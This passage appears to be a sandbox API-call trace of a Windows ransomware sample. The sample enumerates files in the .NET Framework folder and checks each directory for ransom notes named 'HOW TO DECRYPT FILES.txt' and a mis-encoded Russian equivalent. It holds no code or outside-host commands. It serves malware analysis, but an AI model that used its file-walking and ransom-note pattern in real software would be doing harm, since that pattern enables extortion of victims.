ftLastWriteTime.dwHighDateTime=0x1ca298a, nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInProcess.exe.config", cAlternateFileName="ADDINP~1.CON")) returned 1 [0137.017] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.017] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInProcess.exe.config") returned 1 [0137.017] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInProcess.exe.config") returned 1 [0137.017] lstrcmpiA (lpString1="", lpString2="AddInProcess.exe.config") returned -1 [0137.018] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe") returned="AddInProcess.exe" [0137.018] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.018] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.018] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.018] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.018] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AddInProcess.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe.config" [0137.018] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56f5fa00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInProcess32.exe", cAlternateFileName="ADDINP~2.EXE")) returned 1 [0137.018] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.018] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInProcess32.exe") returned 1 [0137.018] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInProcess32.exe") returned 1 [0137.018] lstrcmpiA (lpString1="", lpString2="AddInProcess32.exe") returned -1 [0137.018] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe.config") returned="AddInProcess.exe.config" [0137.018] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.018] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.018] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.018] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.019] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AddInProcess32.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe" [0137.019] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2404cb00, ftCreationTime.dwHighDateTime=0x1ca298a, ftLastAccessTime.dwLowDateTime=0x8a445140, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2404cb00, ftLastWriteTime.dwHighDateTime=0x1ca298a, nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInProcess32.exe.config", cAlternateFileName="ADDINP~2.CON")) returned 1 [0137.019] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.019] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInProcess32.exe.config") returned 1 [0137.019] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInProcess32.exe.config") returned 1 [0137.019] lstrcmpiA (lpString1="", lpString2="AddInProcess32.exe.config") returned -1 [0137.019] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe") returned="AddInProcess32.exe" [0137.019] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.019] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.019] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.019] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.019] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AddInProcess32.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe.config" [0137.019] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56f85b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInUtil.exe", cAlternateFileName="ADDINU~1.EXE")) returned 1 [0137.020] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.020] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInUtil.exe") returned 1 [0137.020] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInUtil.exe") returned 1 [0137.020] lstrcmpiA (lpString1="", lpString2="AddInUtil.exe") returned -1 [0137.020] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe.config") returned="AddInProcess32.exe.config" [0137.020] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.020] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.020] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.020] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.020] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AddInUtil.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe" [0137.020] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2404cb00, ftCreationTime.dwHighDateTime=0x1ca298a, ftLastAccessTime.dwLowDateTime=0x8a445140, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2404cb00, ftLastWriteTime.dwHighDateTime=0x1ca298a, nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInUtil.exe.config", cAlternateFileName="ADDINU~1.CON")) returned 1 [0137.020] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.020] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInUtil.exe.config") returned 1 [0137.020] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInUtil.exe.config") returned 1 [0137.020] lstrcmpiA (lpString1="", lpString2="AddInUtil.exe.config") returned -1 [0137.020] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe") returned="AddInUtil.exe" [0137.020] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.020] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.021] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.021] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.021] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AddInUtil.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe.config" [0137.021] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56fabcc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x28ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdoNetDiag.dll", cAlternateFileName="ADONET~1.DLL")) returned 1 [0137.021] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.021] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdoNetDiag.dll") returned 1 [0137.021] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdoNetDiag.dll") returned 1 [0137.021] lstrcmpiA (lpString1="", lpString2="AdoNetDiag.dll") returned -1 [0137.021] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe.config") returned="AddInUtil.exe.config" [0137.021] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.021] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.021] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.021] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.021] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AdoNetDiag.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AdoNetDiag.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AdoNetDiag.dll" [0137.022] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd66c00, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8a46b2a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9dd66c00, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x1d66, dwReserved0=0x0, dwReserved1=0x0, cFileName="adonetdiag.mof", cAlternateFileName="ADONET~1.MOF")) returned 1 [0137.022] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.022] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adonetdiag.mof") returned 1 [0137.022] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adonetdiag.mof") returned 1 [0137.022] lstrcmpiA (lpString1="", lpString2="adonetdiag.mof") returned -1 [0137.022] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AdoNetDiag.dll") returned="AdoNetDiag.dll" [0137.022] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.022] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.022] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.022] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.022] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="adonetdiag.mof" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\adonetdiag.mof") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\adonetdiag.mof" [0137.022] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a214e00, ftCreationTime.dwHighDateTime=0x1cac5f0, ftLastAccessTime.dwLowDateTime=0x8a46b2a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x4a214e00, ftLastWriteTime.dwHighDateTime=0x1cac5f0, nFileSizeHigh=0x0, nFileSizeLow=0x7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="adonetdiag.mof.uninstall", cAlternateFileName="ADONET~1.UNI")) returned 1 [0137.022] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.022] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adonetdiag.mof.uninstall") returned 1 [0137.022] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adonetdiag.mof.uninstall") returned 1 [0137.022] lstrcmpiA (lpString1="", lpString2="adonetdiag.mof.uninstall") returned -1 [0137.022] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\adonetdiag.mof") returned="adonetdiag.mof" [0137.023] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.023] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.023] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.023] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.023] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="adonetdiag.mof.uninstall" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\adonetdiag.mof.uninstall") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\adonetdiag.mof.uninstall" [0137.023] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56fd1e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1c898, dwReserved0=0x0, dwReserved1=0x0, cFileName="alink.dll", cAlternateFileName="")) returned 1 [0137.023] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.023] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alink.dll") returned 1 [0137.023] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alink.dll") returned 1 [0137.023] lstrcmpiA (lpString1="", lpString2="alink.dll") returned -1 [0137.023] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\adonetdiag.mof.uninstall") returned="adonetdiag.mof.uninstall" [0137.023] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.023] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.023] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.023] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.023] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="alink.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\alink.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\alink.dll" [0137.024] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57044240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x178a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLaunch.exe", cAlternateFileName="APPLAU~1.EXE")) returned 1 [0137.024] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.024] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppLaunch.exe") returned 1 [0137.024] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppLaunch.exe") returned 1 [0137.024] lstrcmpiA (lpString1="", lpString2="AppLaunch.exe") returned -1 [0137.024] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\alink.dll") returned="alink.dll" [0137.024] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.024] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.024] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.024] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.024] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AppLaunch.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe" [0137.024] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8a46b2a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="applaunch.exe.config", cAlternateFileName="APPLAU~1.CON")) returned 1 [0137.024] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.024] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="applaunch.exe.config") returned 1 [0137.024] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="applaunch.exe.config") returned 1 [0137.025] lstrcmpiA (lpString1="", lpString2="applaunch.exe.config") returned -1 [0137.025] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe") returned="AppLaunch.exe" [0137.025] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.025] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: 